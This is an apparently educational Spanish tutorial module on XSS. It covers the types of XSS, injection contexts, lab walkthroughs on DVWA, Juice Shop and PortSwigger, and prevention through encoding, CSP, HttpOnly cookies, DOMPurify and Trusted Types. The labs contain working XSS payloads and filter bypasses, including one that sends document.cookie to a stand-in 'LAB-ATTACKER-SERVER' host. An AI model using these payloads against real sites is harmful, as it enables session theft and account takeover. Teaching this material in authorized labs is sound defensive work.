Aviso legal y ético obligatorio: Todo el contenido práctico de este módulo está diseñado exclusivamente para su ejecución en entornos de laboratorio propios y autorizados: DVWA, OWASP Juice Shop, PortSwigger Web Security Academy y máquinas virtuales personales. Atacar sistemas sin autorización expresa del propietario es un delito tipificado en España en el artículo 197 bis del Código Penal, con penas de hasta dos años de prisión. Nunca apliques estas técnicas contra sistemas de terceros sin permiso escrito.
El Cross-Site Scripting, universalmente conocido como XSS, es una de las vulnerabilidades web más antiguas, más extendidas y más subestimadas del panorama actual. En el OWASP Top 10:2025 (vigente desde 2025) el XSS está clasificado dentro de la categoría A05:2025 – Injection, junto con la inyección SQL y otras formas de inyección de código; concretamente se corresponde con CWE-79. En la edición anterior, esta categoría figuraba como A03:2021 – Injection: la naturaleza del riesgo no ha cambiado, solo su posición en el ranking. Según OWASP, el XSS es la forma de inyección de mayor frecuencia, con más de 30.000 CVE asociados. A diferencia de lo que su nombre podría sugerir, XSS no ataca al servidor: ataca al navegador del usuario. La carga maliciosa se ejecuta en el contexto de un sitio de confianza y, con ello, el atacante puede robar sesiones, redirigir a páginas de phishing, registrar pulsaciones de teclado o incluso convertir el navegador de la víctima en parte de una red de bots.
Entender XSS en profundidad —cómo surge, cómo se detecta y, sobre todo, cómo se elimina— es una competencia esencial tanto si aspiras a trabajar en hacking ético (eJPT, PNPT, Bug Bounty) como si tu objetivo es desarrollar aplicaciones seguras. Este módulo te lleva desde la teoría hasta el laboratorio y la remediación, con pasos reproducibles en entornos legales.
Qué aprenderás
- Qué es XSS y por qué el navegador ejecuta código que no debería.
- Las tres categorías de XSS: reflejado, almacenado y basado en DOM, y sus diferencias de impacto.
- Los cuatro contextos de inyección: HTML, atributo HTML, JavaScript y URL.
- Técnica de detección paso a paso en DVWA, OWASP Juice Shop y PortSwigger Web Security Academy.
- Demostración de impacto real en laboratorio: robo de cookie de sesión.
- Estrategias de prevención al día (2026): codificación de salida por contexto, CSP estricta basada en nonces, Trusted Types, la Sanitizer API del navegador, DOMPurify y cookies HttpOnly/SameSite.
Qué es XSS y por qué ocurre
Un ataque XSS ocurre cuando una aplicación web incorpora datos proporcionados por el usuario en su respuesta HTML sin sanearlos ni codificarlos correctamente. El navegador recibe ese HTML, lo interpreta y ejecuta el código JavaScript incrustado como si fuera código legítimo del sitio. El problema fundamental es una ausencia de separación entre datos y código: la aplicación confunde la entrada del usuario con instrucciones ejecutables.
La causa técnica raíz es simple: un servidor (o un script del lado cliente) construye HTML concatenando cadenas en lugar de usar API seguras que distingan entre texto y marcado. Por ejemplo, si un motor de plantillas hace algo como:
<p>Bienvenido, <?php echo $_GET['nombre']; ?></p>
…y el atacante pasa como parámetro <script>alert(1)</script>, el servidor emite:
<p>Bienvenido, <script>alert(1)</script></p>
El navegador ve un elemento <script> válido y lo ejecuta. No importa que el código viniera de un usuario: el navegador lo trata con la misma confianza que al JavaScript del propio sitio.
Los tres tipos de XSS
XSS Reflejado (Reflected XSS)
El tipo más frecuente y, paradójicamente, el que más suele subestimarse. La carga maliciosa viaja en la solicitud HTTP (normalmente en un parámetro GET de la URL o en el cuerpo de un formulario POST) y el servidor la devuelve inmediatamente reflejada en la respuesta, sin almacenarla. El atacante fabrica una URL trampa y necesita que la víctima la visite: mediante un correo de phishing, un mensaje en redes sociales o un enlace acortado.
Impacto típico: robo de cookies de sesión, redirección a páginas maliciosas, captura de credenciales introducidas en formularios falsificados. Al no persistir en el servidor, dejan menos rastro forense.
XSS Almacenado (Stored XSS)
Considerado el más peligroso porque el payload se graba en el servidor (base de datos, sistema de archivos, caché) y se sirve a todos los usuarios que visitan la página afectada. No requiere que la víctima haga clic en ningún enlace especial: con visitar la página comprometida es suficiente.
Escenarios habituales: campos de comentarios, perfiles de usuario, campos de nombre en paneles de administración, sistemas de tickets de soporte, mensajería interna. Si la página afectada es el panel de administración, el atacante puede comprometer toda la plataforma con un único payload almacenado en un comentario.
XSS Basado en DOM (DOM-Based XSS)
Definido por Amit Klein en 2005, el XSS basado en DOM es un caso especial donde el servidor nunca ve la carga maliciosa. La vulnerabilidad reside íntegramente en el JavaScript del lado cliente: el script lee datos de una fuente (source) controlada por el atacante (el fragmento de URL location.hash, document.referrer, localStorage…) y los escribe en el DOM usando sumideros (sinks) inseguros como innerHTML, document.write() o eval().
Esto dificulta su detección: los escáneres que solo analizan el tráfico HTTP lo pasan por alto, y los WAF clásicos no lo bloquean porque el payload no pasa por el servidor. Requiere análisis estático del JavaScript o pruebas dinámicas en el navegador.
| Tipo | ¿Dónde se almacena? | ¿El servidor ve el payload? | Vector de entrega |
|---|---|---|---|
| Reflejado | No se almacena | Sí (en la petición) | URL trampa enviada a la víctima |
| Almacenado | Servidor / BD | Sí (se guarda) | Visitar la página comprometida |
| DOM-Based | No se almacena | No | URL trampa (fragmento #hash, parámetros) |
Contextos de inyección
Saber en qué contexto del documento HTML se inserta la entrada del usuario es crítico para elegir el payload correcto y para aplicar la codificación adecuada en la prevención. Los cuatro contextos principales son:
Contexto HTML (cuerpo del documento)
La entrada se refleja directamente como contenido HTML. El atacante puede inyectar etiquetas. Ejemplo vulnerable:
<div>Resultado: [ENTRADA_USUARIO]</div>
Payload canónico de prueba (escapado aquí para que no se ejecute en esta página):
<script>alert('XSS')</script>
Contexto de atributo HTML
La entrada se inserta dentro del valor de un atributo. Si no hay comillas o se pueden romper las existentes, el atacante añade atributos de manejadores de eventos:
<input value="[ENTRADA_USUARIO]">
<!-- Payload: " onmouseover="alert(1) -->
Resultado del HTML generado:
<input value="" onmouseover="alert(1)">
Contexto JavaScript
La entrada se incrusta dentro de un bloque o literal JavaScript ya existente. El atacante cierra el string y añade código propio:
<script>var nombre = '[ENTRADA_USUARIO]';</script>
<!-- Payload: '; alert(1); // -->
Cuando el contexto es un template literal (backtick), basta con usar la sintaxis ${...}:
<script>var msg = `Hola, ${nombre}`;</script>
<!-- Payload: ${alert(1)} -->
Contexto URL
La entrada se usa como parte de una URL (por ejemplo, en un atributo href o src). El vector clásico es el pseudoprotocolo javascript::
<a href="[ENTRADA_USUARIO]">Haz clic</a>
<!-- Payload: javascript:alert(1) -->
Laboratorio paso a paso
Practica las técnicas siguientes exclusivamente en tus entornos de laboratorio. Nunca en sistemas en producción ni de terceros.
Laboratorio 1 — DVWA: XSS Reflejado (nivel Low)
- Levanta DVWA (la que instalaste en el Módulo 1 con Docker Compose, accesible en
http://localhost:4280). - Inicia sesión (admin / password) y en el menú lateral selecciona XSS (Reflected).
- Configura la dificultad en Low (botón «DVWA Security» en el menú).
- En el campo «What’s your name?» escribe tu nombre y observa que se refleja en la página: «Hello, Pepe».
- Ahora introduce el siguiente payload de detección básico:
<script>alert('XSS-DETECTADO')</script>
- Si aparece una alerta emergente, has confirmado la vulnerabilidad. El código fuente de la respuesta mostrará el script incrustado sin codificación.
- Para demostrar impacto real (robo de cookie), introduce este payload en el lab (la cookie se imprimirá en la alerta, sin llegar a terceros porque estás en localhost):
<script>alert('Cookie: ' + document.cookie)</script>
- Verás el valor de la cookie
PHPSESSID. En un ataque real, en lugar dealert()se usaríafetch()para enviársela a un servidor del atacante. Esto ilustra por qué las cookies de sesión deben marcarse comoHttpOnly: esa flag impide que JavaScript acceda a ellas. - Sube a nivel Medium: DVWA filtra la etiqueta
<script>. Prueba a evadir el filtro usando mayúsculas o un evento HTML:
<img src=x onerror="alert('XSS-Medium')">
- En nivel High, DVWA aplica una lista blanca más estricta. Observa el código fuente PHP (botón «View Source») para entender qué filtros se aplican y por qué fallan.
Laboratorio 2 — DVWA: XSS Almacenado (nivel Low)
- Selecciona XSS (Stored) en DVWA con nivel Low.
- Verás un formulario de libro de visitas con campos «Name» y «Message».
- En el campo «Message» introduce el siguiente payload de prueba:
<script>alert('Stored-XSS')</script>
- Envía el formulario. Cada vez que cualquier usuario cargue la página del libro de visitas, el script se ejecutará automáticamente.
- Para simular el impacto máximo, inyecta un payload que imprima la cookie (en lab, sin exfiltración real):
<script>document.write('<img src="http://LAB-ATTACKER-SERVER/?c='+document.cookie+'" />')</script>
- En un entorno real de laboratorio con Netcat o Burp Collaborator escuchando en
LAB-ATTACKER-SERVER, recibirías la cookie en tus registros. Este paso demuestra por qué el XSS almacenado en un panel de administración es crítico. - Observa en el campo «Name» que hay un límite de caracteres de 10. Puedes eliminarlo modificando el atributo
maxlengthen las herramientas de desarrollador del navegador antes de enviar el formulario.
Laboratorio 3 — OWASP Juice Shop: DOM XSS y Reflected XSS
- Instala Juice Shop:
docker run -d -p 3000:3000 bkimminich/juice-shopy accede ahttp://localhost:3000. - DOM XSS (reto «DOM XSS»): En la barra de búsqueda de productos escribe cualquier término. Observa que el término buscado aparece en la página. Introduce el siguiente payload de prueba:
<iframe src="javascript:alert(`xss`)">
- Juice Shop refleja este valor en el DOM mediante JavaScript sin sanitización, ejecutando el alert. El reto queda marcado como completado en el marcador.
- Reflected XSS (reto «Reflected XSS»): Ve a la sección de seguimiento de pedidos. La URL tiene la forma
/#/track-result?id=VALOR. SustituyeVALORpor:
<iframe src="javascript:alert(`xss`)">
- La aplicación inserta ese valor directamente en el HTML de la respuesta sin codificarlo. El iframe ejecuta el alert.
Laboratorio 4 — PortSwigger Web Security Academy
La Web Security Academy de PortSwigger ofrece más de 30 laboratorios XSS gratuitos y guiados, sin necesidad de instalar nada. Son los más completos para preparar certificaciones como PNPT o practicar Bug Bounty.
- Lab 1 – Reflected XSS into HTML context with nothing encoded: Introduce
<script>alert(1)</script>en el campo de búsqueda. Resolución inmediata para afianzar el concepto base. - Lab 2 – Stored XSS into HTML context with nothing encoded: Publica un comentario con
<script>alert(1)</script>. Demuestra la persistencia. - Lab 3 – Reflected XSS into attribute with angle brackets HTML-encoded: Los corchetes angulares
<>están codificados, así que no puedes inyectar etiquetas nuevas. Pero puedes cerrar el atributo y añadir un manejador de evento:
" autofocus onfocus="alert(1)
- Lab 4 – DOM-based XSS usando innerHTML: El sink
innerHTMLno ejecuta<script>, pero sí<img onerror>:
<img src=1 onerror=alert(1)>
Trabaja los laboratorios en orden progresivo. Cada uno presenta una mitigación parcial que el siguiente enseña a superar, construyendo tu comprensión de los contextos y los bypass de filtros.
Cómo prevenirlo
La prevención de XSS no se resuelve con una única medida: requiere una estrategia de defensa en profundidad aplicada en múltiples capas. El OWASP Cross Site Scripting Prevention Cheat Sheet establece las reglas fundamentales para XSS reflejado y almacenado; para el XSS basado en DOM, la referencia es el OWASP DOM-based XSS Prevention Cheat Sheet.
Regla 1 — Codificación de salida según el contexto
La defensa más importante y la más frecuentemente mal implementada. No existe una codificación universal: hay que aplicar la codificación correcta para cada contexto de salida.
| Contexto | Codificación requerida | Ejemplo |
|---|---|---|
| HTML (cuerpo) | HTML entities | < en lugar de < |
| Atributo HTML | HTML attribute encoding | Comillas y corchetes escapados |
| JavaScript (string) | JavaScript string encoding | x3c en lugar de < |
| URL (parámetro) | URL percent-encoding | %3C en lugar de < |
| CSS | CSS hex encoding | 3c en lugar de < |
En PHP usa htmlspecialchars($var, ENT_QUOTES, 'UTF-8') para contexto HTML. En JavaScript del servidor (Node.js) usa librerías como he o las funciones de tu framework. Nunca construyas HTML concatenando strings sin codificar.
Regla 2 — Usa frameworks que escapen por defecto
Los frameworks modernos aplican codificación de salida automáticamente si usas sus mecanismos de plantillas correctamente. En React, las expresiones JSX {variable} se escapan por defecto; solo dangerouslySetInnerHTML omite ese escape (su propio nombre es una advertencia). En Angular, el binding de interpolación {{ variable }} escapa; bypassSecurityTrustHtml no. En Vue, {{ }} escapa; v-html no. La regla práctica: evita las APIs marcadas explícitamente como «inseguras» a menos que sea estrictamente necesario y la entrada provenga de una fuente de confianza totalmente controlada.
Regla 3 — Content Security Policy (CSP)
La Content Security Policy es una cabecera HTTP que instruye al navegador sobre qué scripts puede ejecutar. Una CSP bien configurada puede romper la cadena de explotación incluso cuando existe una vulnerabilidad XSS, porque el navegador se negará a ejecutar scripts no autorizados. El OWASP Content Security Policy Cheat Sheet recomienda hoy una CSP estricta basada en nonces (o hashes) junto con 'strict-dynamic', en lugar de las antiguas listas blancas de dominios, porque estas últimas son frágiles y se eluden con facilidad:
Content-Security-Policy: script-src 'nonce-{VALOR_ALEATORIO}' 'strict-dynamic'; object-src 'none'; base-uri 'none';
Cada respuesta genera un nonce aleatorio nuevo e impredecible que se coloca tanto en la cabecera como en cada etiqueta de script legítima (<script nonce="{VALOR_ALEATORIO}">). 'strict-dynamic' permite que un script de confianza cargue a su vez otros scripts, lo que simplifica el despliegue en aplicaciones reales. Evita siempre 'unsafe-inline' y 'unsafe-eval': permiten exactamente los vectores que XSS aprovecha; una CSP que los incluya pierde casi todo su valor protector. La CSP es una segunda capa de defensa: no sustituye a la codificación de salida, pero reduce drásticamente el impacto cuando esta falla.
Regla 4 — HttpOnly y Secure en las cookies de sesión
La flag HttpOnly impide que JavaScript lea el valor de la cookie mediante document.cookie, cortando el vector más habitual de robo de sesión vía XSS. La flag Secure garantiza que la cookie solo se transmite por HTTPS. En PHP:
session_set_cookie_params(['httponly' => true, 'secure' => true, 'samesite' => 'Strict']);
Estas flags no previenen el XSS en sí mismo, pero reducen drásticamente el impacto del robo de sesión.
Regla 5 — Sanitización con DOMPurify para HTML enriquecido
Cuando la aplicación necesita permitir cierto HTML (editores de texto enriquecido, comentarios con formato), la codificación total destruiría el formato. En esos casos, la solución es la sanitización: eliminar las partes peligrosas del HTML conservando las seguras. DOMPurify es la biblioteca recomendada por OWASP para esta tarea:
const limpio = DOMPurify.sanitize(entradaUsuario);
elemento.innerHTML = limpio;
DOMPurify elimina automáticamente atributos de evento (onerror, onmouseover…), el pseudoprotocolo javascript: y otras construcciones peligrosas, conservando etiquetas de formato como <strong>, <em> o <a href>. Mantén siempre DOMPurify actualizado: su desarrollo es activo porque aparecen nuevos bypass periódicamente.
Regla 6 — Sanitizer API nativa del navegador
Desde 2026 los navegadores incorporan una Sanitizer API nativa que sanea HTML sin librerías externas, mediante el método seguro setHTML():
elemento.setHTML(entradaUsuario);
A diferencia de innerHTML, setHTML() elimina por defecto scripts y manejadores de eventos antes de insertar el marcado. Firefox 148 fue el primer navegador en implementar la API estandarizada (febrero de 2026); Chromium la está desplegando y Safari aún no la incluye. Como todavía no es Baseline (no funciona en todos los navegadores), úsala con detección de características y mantén DOMPurify como alternativa de respaldo.
Regla 7 — Trusted Types
La directiva CSP require-trusted-types-for 'script' obliga a que todos los sinks DOM potencialmente peligrosos (innerHTML, document.write, eval…) reciban únicamente objetos creados por políticas de Trusted Types, rechazando strings directas. Elimina clases enteras de DOM XSS a nivel de plataforma. Está soportada en navegadores Chromium (Chrome/Edge desde la versión 83) y, más recientemente, en Safari; Firefox todavía no la implementa a mediados de 2026 (aunque Mozilla ha manifestado una posición favorable), por lo que conviene tratarla como una capa adicional, no como única defensa.
Ejercicio propuesto
- Completa los 5 primeros laboratorios XSS gratuitos de PortSwigger Web Security Academy anotando: tipo de XSS, contexto de inyección y payload que resolvió cada lab.
- En DVWA nivel Medium, encuentra el payload de XSS almacenado que elude el filtro de
<script>e imprima el valor dedocument.cookieen la consola del navegador (sin exfiltración; solo en localhost). - Instala Juice Shop y resuelve los retos DOM XSS y Reflected XSS. Captura una pantalla del marcador con los retos completados.
- Implementa una función PHP que reciba un comentario de usuario y lo muestre de forma segura en una página HTML. Usa
htmlspecialchars()correctamente y añade la cabecera CSP apropiada. - Investiga qué es el XSS basado en mXSS (mutated XSS) y en qué escenarios puede eludir DOMPurify si no está actualizado. Escribe un párrafo con tus conclusiones.
Errores comunes
- Filtrar en lugar de codificar. Eliminar
<script>de la entrada no es suficiente: hay decenas de formas de ejecutar JavaScript sin esa etiqueta (onerror,javascript:,<svg onload>…). La codificación de salida es la defensa correcta, no el filtrado de entrada. - Codificación incorrecta para el contexto. Aplicar HTML entities a un valor que se inserta en un atributo sin comillas, o en un bloque JavaScript, no protege. Cada contexto requiere su propia codificación.
- Confiar en el WAF como única defensa. Los Web Application Firewalls pueden bypassearse. Son una capa adicional, nunca la única.
- Olvidar las cabeceras HTTP de seguridad. Implementar la codificación en las plantillas pero no configurar
X-Content-Type-Options: nosniff, una CSP estricta o la directivaframe-ancestors(que sustituye a la ya obsoletaX-Frame-Optionspara protección anti-clickjacking) deja vectores abiertos. - No probar el XSS almacenado con múltiples usuarios. Un tester que solo prueba con su propia cuenta puede no detectar que el payload afecta a otros roles (admin, moderador).
- Usar innerHTML con datos del usuario en JavaScript. Es el error más frecuente en código frontend moderno. Usar siempre
textContentcuando solo se necesita mostrar texto, o DOMPurify cuando se necesita HTML. - Cookies sin HttpOnly. Sin esta flag, cualquier XSS exitoso expone inmediatamente la sesión de todos los usuarios afectados.
Preguntas frecuentes
¿Cuál es la diferencia real entre XSS reflejado y XSS almacenado desde el punto de vista del impacto?
El XSS reflejado requiere que cada víctima haga clic en un enlace especialmente crafteado; el atacante debe distribuir ese enlace de forma masiva (phishing, spam, redes sociales) para escalar el impacto. El XSS almacenado no necesita distribución activa: el payload queda guardado en el servidor y se ejecuta automáticamente en el navegador de cualquier usuario que visite la página comprometida. Si esa página es el panel de administración, un único payload almacenado puede comprometer la cuenta de cada administrador que lo abra, lo que convierte al XSS almacenado en una vulnerabilidad de mayor severidad en casi todos los contextos.
¿Un WAF protege completamente contra XSS?
No. Los WAF aplican reglas basadas en firmas o heurísticas que pueden eludirse mediante técnicas de obfuscación (codificación de caracteres, fragmentación de payloads, uso de vectores menos conocidos como <svg>, <math> o template literals). Además, el XSS basado en DOM ocurre íntegramente en el cliente: el payload nunca pasa por el WAF. Los WAF son una capa adicional valiosa, pero la prevención real requiere codificación de salida correcta en el código de la aplicación.
¿Es posible tener XSS incluso usando un framework moderno como React o Vue?
Sí. Aunque React y Vue escapan las expresiones de template por defecto, ambos exponen APIs explícitamente inseguras (dangerouslySetInnerHTML en React, v-html en Vue) que omiten el escape. Si el desarrollador usa esas APIs con datos del usuario sin sanearlos previamente con DOMPurify, el framework moderno no ofrece protección. Adicionalmente, el XSS basado en DOM puede surgir de lógica JavaScript personalizada que manipula el DOM fuera del sistema de plantillas del framework, especialmente al usar librerías de terceros que acceden al DOM directamente.
¿Qué es el Self-XSS y por qué no cuenta como vulnerabilidad de Bug Bounty?
El Self-XSS es una vulnerabilidad donde el único usuario que puede ser afectado es el propio atacante: se requiere que la víctima pegue código malicioso en su propio navegador (por ejemplo, en la consola de desarrollador o en un campo que solo ella ve). Aunque técnicamente puede haber inyección de código, el impacto es nulo porque no afecta a terceros. La mayoría de programas de Bug Bounty excluyen explícitamente el Self-XSS de su scope o le asignan severidad informacional (P4/P5). Sin embargo, el Self-XSS combinado con CSRF o clickjacking puede escalar a una vulnerabilidad real: comprenderlo es parte de la metodología de análisis de impacto.
Recursos y siguiente paso
XSS es la puerta de entrada a técnicas avanzadas de hacking web. Para profundizar más allá de este módulo, consulta la Guía Completa de Hacking Web donde exploramos la metodología de reconocimiento y mapeo de superficie de ataque que aplica a toda la serie. Si tu objetivo es certificarte, en nuestra sección de cursos y certificaciones encontrarás la ruta recomendada para eJPT y PNPT, dos certificaciones que incluyen XSS en su temario.
Para profundizar en los aspectos técnicos con recursos oficiales:
- OWASP Top 10:2025 – A05 Injection (incluye XSS)
- OWASP – Cross Site Scripting
- OWASP – Tipos de XSS
- OWASP XSS Prevention Cheat Sheet
- OWASP DOM-based XSS Prevention Cheat Sheet
- PortSwigger – What is XSS?
- PortSwigger – XSS Contexts
Recordatorio ético y legal final: Las técnicas descritas en este módulo son herramientas de conocimiento para construir sistemas más seguros y para ejercer el hacking ético de forma legal. En España, el acceso no autorizado a sistemas informáticos y la interceptación de datos están tipificados como delitos en los artículos 197 y 197 bis del Código Penal, con penas de prisión de hasta dos años. Practica siempre en entornos propios o con autorización escrita explícita del propietario del sistema. Si encuentras una vulnerabilidad XSS en un sistema en producción durante un bug bounty o una auditoría autorizada, repórtala de forma responsable siguiendo la política de divulgación del programa. El conocimiento es poder: úsalo con responsabilidad.
